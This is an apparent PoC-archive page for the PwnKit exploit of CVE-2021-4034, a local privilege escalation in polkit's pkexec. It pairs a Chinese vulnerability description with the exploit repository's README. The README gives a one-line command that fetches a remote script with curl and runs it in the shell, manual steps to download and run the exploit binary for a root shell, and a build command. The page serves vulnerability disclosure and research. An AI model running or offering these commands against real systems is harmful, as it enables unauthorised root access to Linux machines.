CVE-2021-4034 PoC — polkit 缓冲区错误漏洞

Source

https://github.com/X-Projetion/Exploiting-PwnKit-CVE-2021-4034-

Associated Vulnerability

Title:polkit 缓冲区错误漏洞 (CVE-2021-4034)
Description:polkit是一个在类 Unix操作系统中控制系统范围权限的组件。通过定义和审核权限规则，实现不同优先级进程间的通讯。 polkit 的 pkexec application存在缓冲区错误漏洞，攻击者可利用该漏洞通过精心设计环境变量诱导pkexec执行任意代码。成功执行攻击后，如果目标计算机上没有权限的用户拥有管理权限，攻击可能会导致本地权限升级。

Readme

# PwnKit

Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation

## Usage

Should work out of the box on vulnerable Linux distributions based on Ubuntu, Debian, Fedora, and CentOS.

```bash
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"
```

![](./imgs/oneliner.png)

### Manually

```bash
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x ./PwnKit
./PwnKit # interactive shell
./PwnKit 'id' # single command
```

![](./imgs/exploit.png)

### Patched

Running the exploit against patched versions will yield the following output.

![](./imgs/patched.png)

### Build

```bash
gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC
```

## Technical Details

- https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

## References

- https://github.com/arthepsy/CVE-2021-4034/

File Snapshot


 [4.0K]  /data/pocs/0de5b9ea7627cdb92852dd0fffa707c9f2bf46db
├── [ 196]  Makefile
├── [ 18K]  PwnKit
├── [ 16K]  PwnKit32
├── [3.1K]  PwnKit.c
├── [ 150]  PwnKit.sh
└── [ 969]  README.md

0 directories, 6 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!